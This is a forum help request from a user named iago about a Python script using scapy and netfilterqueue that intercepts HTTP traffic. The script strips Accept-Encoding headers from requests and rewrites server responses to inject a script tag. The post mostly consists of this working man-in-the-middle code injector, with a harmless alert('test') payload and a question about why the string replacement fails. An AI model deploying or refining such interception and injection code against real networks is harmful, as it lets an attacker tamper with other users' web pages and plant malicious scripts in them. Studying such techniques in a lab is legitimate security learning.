code injector (scapy), replace does not work

[iago]

Hello, I try to inject JS-Code into a (server) response package.
I can show the response packages with:

print(scapy_packet.show())

However, the line

modified_load = scapy_packet[scapy.Raw].load.replace("</body>", "<script>alert('test');</script></body>")

does not seem to work at all.
No replacement, no JS-alert, no error message, nothing.

I would be grateful for a helping hand. Thanks

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re


def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        if scapy_packet[scapy.TCP].dport == 80:
            print("[+] Request")
            modified_load = re.sub("Accept-Encoding:.*?\\r\\n", "", scapy_packet[scapy.Raw].load)
            new_packet = set_load(scapy_packet, modified_load)
            packet.set_payload(str(new_packet))
        elif scapy_packet[scapy.TCP].sport == 80:
            print("[+] Response")

            modified_load = scapy_packet[scapy.Raw].load.replace("/n</body>", "<script>alert('test');</script></body>")
            print(scapy_packet.show())
            new_packet = set_load(scapy_packet, modified_load)
            packet.set_payload(str(new_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()